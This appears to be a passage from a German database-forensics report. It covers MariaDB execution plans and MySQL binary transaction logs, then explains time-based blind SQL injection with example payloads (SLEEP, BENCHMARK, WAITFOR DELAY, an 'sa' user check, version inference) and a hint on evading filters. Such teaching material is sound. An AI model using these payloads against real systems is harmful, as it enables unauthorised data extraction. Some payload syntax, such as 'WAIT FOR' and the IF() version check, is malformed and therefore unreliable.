die Performance gemeinsam aufgeführt: 

 

 

 

Je nach Ergebnis werden zusätzlich auch die Ergebnisse zu den Schritten und Performance angezeigt: 
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5.3.3 Datenbankausführungsplan in MariaDB (Cloud) 

In MariaDB können, wie in den anderen beiden Datenbanksystemen, Ausführungspläne aufgerufen 

werden, um durchgeführte Transaktionen auf der Datenbank nachvollziehen zu können. Nachdem 

eine Anmeldung im Container erfolgt ist, kann ein Einloggen in der Datenbankinstanz stattfinden und 

im Anschluss kann ein vorhergehender Befehl durch einen Ausführungsplan im Detail aufgeführt 

werden. 

 

Befehl: sudo docker exec -ti <container id oder container name> /bin/bash # Wechseln in den 

Container der Datenbank 

Befehl: mysql -u root -p # Wechseln in den Datenbankkontext von MariaDB 

Befehl: use impfung; # Wählen der Datenbank impfung im Datenbankkontext: 

Befehl: explain <SQL Statement für welches ein Ausfürhungsplan erstellt werden soll> 

 

 

 

Das SQL-Statement wird nun im Tabellenformat und im Detail aufgezeigt und die durchgeführten 

Schritte im Einzelnen nachvollziehbar aufgeschlüsselt. 

Darüber hinaus kann analog zu den beiden lokalen Datenbankinstanzen auch die Performance eines 

Statements aufgeschlüsselt werden. Diese Analyse dient der Aufklärung von Transaktionen, die zu 

Lasten der Datenbankleistung oder zu Lasten von Ressourcen führen, oder sehr zeitaufwändig sind. 
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5.4 Transaktionsprotokolle 

 

Das Transaktionsprotokoll eines SQL-Servers protokolliert alle Transaktionen, welche auf einer 

Datenbank durchgeführt werden. Das Transaktionsprotokoll ist eine wichtige Komponente, da es bei 

auftretenden Systemfehlern die Datenbank wieder in einen konsistenten Zustand versetzen kann. 

Fatal wäre es, wenn Transaktionsprotokolle manipuliert und gar von Dritten gelöscht werden, da dies 

schwerwiegende Folgen im Worst-Case Szenario haben könnte. 

In diesem Abschnitt wird einmal aufgezeigt, wie die Transaktionsprotokolle in MySQL aussehen und 

was dort zu finden ist.  

Um die Transaktionsprotokolle in der Docker-Umgebung zu aktivieren, muss zunächst einmal die CLI 

des MySQL-Container gestartet werden. Anschließend erfolgt die Anmeldung als mysql. 

Mit der MySQL-Version 8 hat sich die Syntax zur Überprüfung des Status geändert: 

 

Prüfen ob Transaktionsprotokolle aktiviert sind in MySQL-Version < 8: 

Befehl 1: select variable_value as "BINARY LOGGING STATUS (log-bin) ::" 

 

Befehl 2: from information_schema.global_variables where variable_name='log_bin' ; 

 

 

 

 

Prüfen ob Transaktionsprotokolle aktiviert sind in MySQL-Version 8: 

Befehl: show global variables like 'log-bin'; 

 

 

Steht der Status der Transaktionsprotokolle auf „ON“, so werden alle Änderungen an der Datenbank 

protokolliert. Diese werden zwar auch wie in Abschnitt 5.2 beschrieben in den Logfiles der 

Datenbanken gespeichert, jedoch können anhand der Transaktionsprotokolle Datenbanken 

wiederhergestellt werden. In den Protokollen werden für die Reparatur auch Transaktions-ID und 

weitere Parameter gespeichert, um Transaktionen eindeutig identifizieren zu können. 

Das Transaktionsprotokoll befindet sich unter folgendem Pfad: 

/var/lib/mysql/binlog.000001 

Die Protokolle werden im BIN-Format gespeichert, weshalb diese nur sehr schwer gelesen werden 

können. Es folgt ein Screenshot eines Transaktionsprotokoll im BIN-Format: 
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Wie auf der Abbildung zu sehen ist, sind Transaktionsprotokolle in diesem Format von einem 

Menschen kaum vernünftig zu lesen und auszuwerten.  

 

Das Protokoll kann jedoch auch in eine Text-Datei geschrieben werden, um den Inhalt besser einsehen 

zu können: 

 

Befehl: mysqlbinlog binlog.000001 > /var/lib/mysql/transactionslog.txt  

 

Das Ergebnis zeigt, dass die neue Text-Datei mit den Inhalten des Transaktionsprotokoll jetzt zwar 

„lesbarer“ ist, eine forensische Aufarbeitung sich jedoch als sehr aufwendig erweist. 

 

 

Was jedoch auf der Abbildung nun besser zu erkennen ist sind die verschiedenen IDs, Meta-Daten wie 

Zeitstempel als auch gehashte Transaktions-IDs. 

Generell ist das Lesen von Transaktionsprotokollen in diesem Format sehr umständlich. Dafür 

existieren verschiedene SQL-Reader, um Transaktionsprotokolle besser durchsuchen und auch im 

Ernstfall die Datenbank wiederherstellen zu können.
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6. Fachbegriff - Zeitbasierte SQL Injection Attacken 

 

Zeitbasierte SQL-Injection Attacken werden häufig dann genutzt, wenn andere Arten von SQLi wenig 

oder eingeschränkte Ergebnisse vom Zieldatenbanksystem liefern. Diese zeitbasierte Angriffsmethode 

schleust komplexere Abfragen in das SQL-Statement, die wiederum zu Zeitverzögerungen bei den 

Antworten oder hoher Auslastung am Zieldatenbanksystem führen sollen.  

Abhängig von der Zeit, die das Datenbanksystem benötigt, um zu antworten, ist es möglich einige 

Informationen daraus zu ermitteln (Inferenzansatz, Informationserschließung). Diese 

Herangehensweise der Deduktion von Informationen ist sehr nützlich für sog. "Blind SQLi" und "Deep 

Blind SQLi". 

 

6.1 SQL Injection mit einer Zeitverzögerung (Time Delay) 

 

Zeitbasierte Attacken können genutzt werden, um grundlegende Informationen zur Datenbank zu 

ermitteln oder das Vorhandensein einer Schwachstelle aufzuspüren. Es ist keine unübliche 

Vorgehensweise, wenn ein Angreifer mit einer zeitbasierten "Deep Blind SQLi" Attacke dem 

Zieldatenbanksystem Informationen entlocken will. 

In folgender Tabelle wird exemplarisch aufgezeigt, wie die Ausführung der SQL-Anfrage in einigen 

Beispielen an unterschiedlichen DBMS Typen verzögert werden kann. 

 

DBMS Befehl Beispiel Kommentare 

MySQL SLEEP(Zeit) SELECT ... SLEEP(60) 

Die Zeitangabe erfolgt in 

Sekunden und ist verfügbar 

ab MySQL Version 5. 

MySQL 
BENCHMARK(Anzahl, 

Ausdruck) 

SELECT 

BENCHMARK(100000000, 

'SELECT ...') 

Führt die Anweisung vielfach 

aus. Mit der Nutzung einer 

zu Beginn hohen Zahl ist es 

möglich eine Verzögerung im 

Zieldatenbanksystem zu 

generieren 

MS-SQL, 

Transact-

SQL 

WAITFOR DELAY 

'hh:mm:ss' 

SELECT ... WAITFOR DELAY 

'00:00:15' SELECT ... 

Verzögert die Ausführung 

des Befehls um den 

angegebenen Zeitraum 

MS-SQL, 

Transact-

SQL 

WAITFOR TIME 

'hh:mm:ss' 

SELECT ... WAITFOR TIME 

'14:15:00' SELECT ... 

Verzögert die Ausführung 

des Befehls und führt diesen 

fort, wenn der angegebene 

Zeitpunkt erreicht ist 

 

*Hinweis: Es ist von Vorteil für die Ausführung von zeitbasierten Attacken zu wissen um welchen Typ 

Datenbanksystem es sich bei dem Zielsystem handelt. Sofern dies nicht bekannt ist, ist es möglich 

unterschiedliche zeitbasierte Anfragen abzusetzen, bis eine Antwort vom Zieldatenbanksystem 

zurückgegeben wird. Falls keine dieser Möglichkeiten zum gewünschten Ergebnis führt sollte auf die 

Ergebnisse von "Enumerieren" und "Fingerprinting" für das Zielsystem zurückgegriffen werden, um 

den Datenbanktypen zu ermitteln. 
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Das Identifizieren von Schwachstellen ist nicht der einzige Einsatzzweck zeitbasierter SQLi Attacken. 

Sofern der Angreifer Verzögerungen in Prozeduren, bzw. Statements mit Bedingungen (z.B. CASE oder 

IF) integriert, ist es möglich, dass die Zieldatenbank Systeminformationen oder auch Daten preisgibt. 

Diese Methode basiert auf dem Inferenzansatz oder auch der Informationserschließung. 

Vereinfacht dargestellt, wenn ein Angreifer eine Zeitverzögerung in ein Bedingungs-Statement 

integriert, hat der Angreifer die Möglichkeit geschaffen dem Zieldatenbanksystem eine Ja/Nein Frage 

zu stellen. Die Antwort des Datenbanksystems hängt somit von diesem Zeitfaktor ab (wäre fallweise 

ungewöhnlich lang) und lässt den Angreifer ermitteln, ob die Antwort Ja oder Nein war und daraus 

weiterführende Informationen zu schließen. 

In folgender Tabelle werden exemplarisch für einige Datenbanksysteme beispielhaft Bedingungs-

Statements aufgeführt: 

 

DBMS Bedienungs-Anweisung Kommentare 

MySQL 
IF(Bedingung, wenn_wahr, 

wenn_falsch) 

Nur innerhalb eines SQL Statements 

möglich. In einer Prozedur ist die Syntax 

analog zu der von Oracle-SQL (PL-SQL) 

MS-SQL, 

Transact-SQL 

IF Bedingung, wenn_wahr [ELSE 

wenn_falsch] 

Nur innerhalb einer Prozedur oder 

Stapelabfrage (Stacked SQL Query) 

möglich 

Oracle, PL/SQL 
IF Bedingung THEN wenn_wahr 

[ELSE wenn_falsch] END IF 
Nur in PL/SQL möglich 

 

Wie ersichtlich wird unterscheiden sich die injizierten Statements geringfügig, abhängig vom Zweck 

der zeitbasierten Attacke. 

Im Folgenden Abschnitt werden exemplarische Beispiele anhand unterschiedlicher DBMS aufgezeigt. 
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6.1.1 Zeitbasierte Attacken in MySQL 

Eine zeitbasierte SQLi Attacke exemplarisch für den Datenbanksystemtypen MySQL ist simpel 

durchzuführen. Die Funktionen SLEEP() und Benchmark() können in ein entsprechend präpariertes 

SQL-Statement integriert werden. Das Code-Beispiel unten führt auf wie ein Angreifer eine 

Schwachstelle eines Parameters auf SQLi Verwundbarkeit prüfen kann. Eine zeitverzögerte Antwort 

würde bedeuten, dass die Applikation eine MySQL Datenbank nutzt. 

 

# MySQL verzögerte Injection QUERY mit integrierter SLEEP Funktion 

SELECT * FROM table_t WHERE id=1-SLEEP(15) 

# MySQL verzögerte Injection QUERY mit integrierter BENCHMARK Funktion 

SELECT * FROM table_t WHERE id=1-BENCHMARK(100000000, rand()) 

 

Der Angreifer kann ebenfalls weiterführende Informationen extrahieren, um Folgeannahmen zu 

bestätigen. Dies kann mit der Integration einer zeitbasierten Abfrage innerhalb eines Bedingungs-

Statements geschehen. In MySQL ist dies erneut sehr simpel durchzuführen da eine IF() Funktion / 

Bedingung vorhanden ist. Folgendes Beispiel macht das Erschließen von Informationen in Kombination 

mit Zeitbasierten Attacken noch einmal deutlich, um die Datenbankversion zu ermitteln: 

# MySQL verzögerte Injection um die DB Version zu ermitteln 

SELECT * FROM table_t WHERE id=1-IF(MID(VERSION(),1,1) = '8'-SLEEP(15), 0) 

 

Wenn die Applikation, bzw. der DBMS Server länger als 15 Sekunden für die Antwort benötigt, kann 

von der Annahme ausgegangen werden, dass es sich um ein MySQL Datenbanksystem in der Version 

8 handelt. Im Beispiel wird die Funktion SLEEP() genutzt, es könnte jedoch ebenfalls BENCHMARK 

genutzt werden. 

 

6.1.2 Zeitbasierte Attacken in Transact-SQL (MS-SQL Server) 

Um Zeitverzögerungen in Transact-SQL Abfragen zu integrieren, müssen Stapelabfragen (Stacked SQL 

Query) genutzt werden. Dies ist ebenfalls eine einfache Vorgehensweise. Im unten aufgeführten 

Beispiel prüft ein Angreifer, ob eine Tabelle eines MS-SQL Servers eine Schwachstelle aufweist. 

# Transact-SQL verzögerte Injection mit integrierter SLEEP Funktion 

SELECT * FROM table_t WHERE id=1; WAIT FOR DELAY '00:00:15' 

 

Mit der Nutzung von Anweisungen mit Bedingungen ist es möglich auch weiteführende Informationen 

aus dem System zu ermitteln. Statt der Version wird im folgenden Beispiel versucht den 

Datenbankadministratornamen zu ermitteln zu ermitteln (MS SQL-Server haben in der Regel einen DB-

Administrator mit Benutzernamen sa) 

 

# Transact-SQL verzögerte Injection um Vorhandensein von DB-Admin sa zu bestätigen 

SELECT * FROM table_t WHERE id=1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15' 

In Transact-SQL wird WAIT FOR TIME selten genutzt, kann aber hilfreich sein wenn SQL-Injection 

Sicherheitssysteme nur auf das häufiger genutzte WAIT FOR DELAY prüfen. 
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6.1.3 Zeitbasierte Attacken in Oracle PL/SQL 

Oracle weist bei zeitbasierten Attacken einige Besonderheiten auf. Die Funktion SLEEP() kann genutzt 

werden, jedoch muss diese in einer PL/SQL Block Anweisung wie im folgenden Beispiel integriert 

werden. 

# Oracle PL/SQL Block Anweisung mit 15 Sek. Verzögerung 

BEGIN DBMS_LOCK.SLEEP(15); END; 

 

Die Besonderheit bei Oracle ist, dass keine Stapelabfragen (Stacked SQL Queries) unterstützt werden. 

Die einzige Möglichkeit eine, wie oben aufgeführte Abfrage an die Datenbank durchzuführen, wäre 

eine SQL-Injection, eine Schwachstelle im PL/SQL Quellcode oder in einem anonymen PL/SQL Block 

ausfindig zu machen. Die Eintrittswahrscheinlichkeit ist jedoch äußerst gering und selten. 

Eine Alternative bietet in PL/SQL das Absetzen einer Abfrage die hohe Ressourcen beansprucht statt 

der SLEEP() Funktion: 

# Oracle PL/SQL Abfrage, um hohe Last zu erzeugen 

SELECT count(*) FROM all_users A, all_users B, all_users C; 

 

Bei einer kleinen Datenbank würde die oben genannte Abfrage keine hohe Last erzeugen. Sobald man 

jedoch die Tabellenanzahl in der Abfrage erhöht und die Abfrage gegen eine größere Datenbank 

ausgeführt wird, kann dies erhebliche Last und Zeitverzögerungen erzeugen. 

Im Vergleich zu anderen Datenbanksystemen sollte von Abfragen die eine hohe Last erzeugen 

abgesehen werden. Bei Oracle ist dies die einzige Möglichkeit zeitbasierte SQLi Attacken 

durchzuführen. 

 

6.2 Vorteile und Nachteile zeitbasierter SQL Injection Attacken und Bezug auf die IT-
Forensik 

 

Zeitbasierte SQL Injection Attacken bieten den Vorteil, dass sehr wenig Ungewöhnliches, bzw. 

Auffälligkeiten in den Logs des Datenbanksystems ausfindig zu machen sind. 

Sobald jedoch zeitbasierte SQLi Attacken durchgeführt werden, die sehr ressourcenintensiv für das 

Datenbanksystem sind, kann sich dies in den Protokollen niederschlagen und fällt auch im Nachgang 

in der Forensik auf. 

Die Länge der Zeitverzögerung muss ebenfalls betrachtet werden, insbesondere dann, wenn Web-

Anwendungen die Schnittstelle zum Datenbanksystem bilden. Die System- und Netzwerkauslastung 

können hier Einfluss auf das gewünschte Resultat haben. Sehr genaue Planung und Timing werden in 

diesem Fall erforderlich, damit die gewünschten Ergebnisse hiervon nicht beeinträchtigt werden. 

Um zeitbasierte SQL Injection Attacken forensisch zu ermitteln und zu analysieren, sind über die 

Prüfung der datenbankspezifischen Logs hinaus auch die Applikations- und Serverlogs erforderlich, um 

ein so genaues und so detailliert wie nur mögliches Bild einer gefundenen Auffälligkeit zu schaffen. 

 

 



6. Fachbegriff – Zeitbasierte SQL-Injection Attacken 
 

90 
 

6.3 Quellen 

1. SQL Injection Inference Attacks | sqlinjeciton.net (2020). Abgerufen am 06.02.2022 von 

https://www.sqlinjection.net/inference 

 

2. Deep Blind SQL Injection | Ferruh Mavutina (26.02.2008). Abgerufen am 06.02.2022 von 

https://labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf 

 

3. Types of SQL Injection (SQLi) | Acunetix (15.07.2020). Abgerufen am 07.02.2022 von 

https://www.acunetix.com/websitesecurity/sql-

injection2/#:%7E:text=What%20is%20a%20time%2Dbased,query%20is%20true%20or%20fal

se  

 

4. Time based Blind SQL Injection (SQLi) | Beagle Security (05.06.2018). Abgerufen am 

07.02.2022 von https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-

injection.html 

 

5. Blind SQL Injection | OWASP Foundation (o.D.). Abgerufen am 07.02.2022 von 

https://owasp.org/www-community/attacks/Blind_SQL_Injection 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.sqlinjection.net/inference
https://labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf
https://www.acunetix.com/websitesecurity/sql-injection2/%23:~:text=What%20is%20a%20time-based,query%20is%20true%20or%20false
https://www.acunetix.com/websitesecurity/sql-injection2/%23:~:text=What%20is%20a%20time-based,query%20is%20true%20or%20false
https://www.acunetix.com/websitesecurity/sql-injection2/%23:~:text=What%20is%20a%20time-based,query%20is%20true%20or%20false
https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html
https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html
https://owasp.org/www-community/attacks/Blind_SQL_Injection

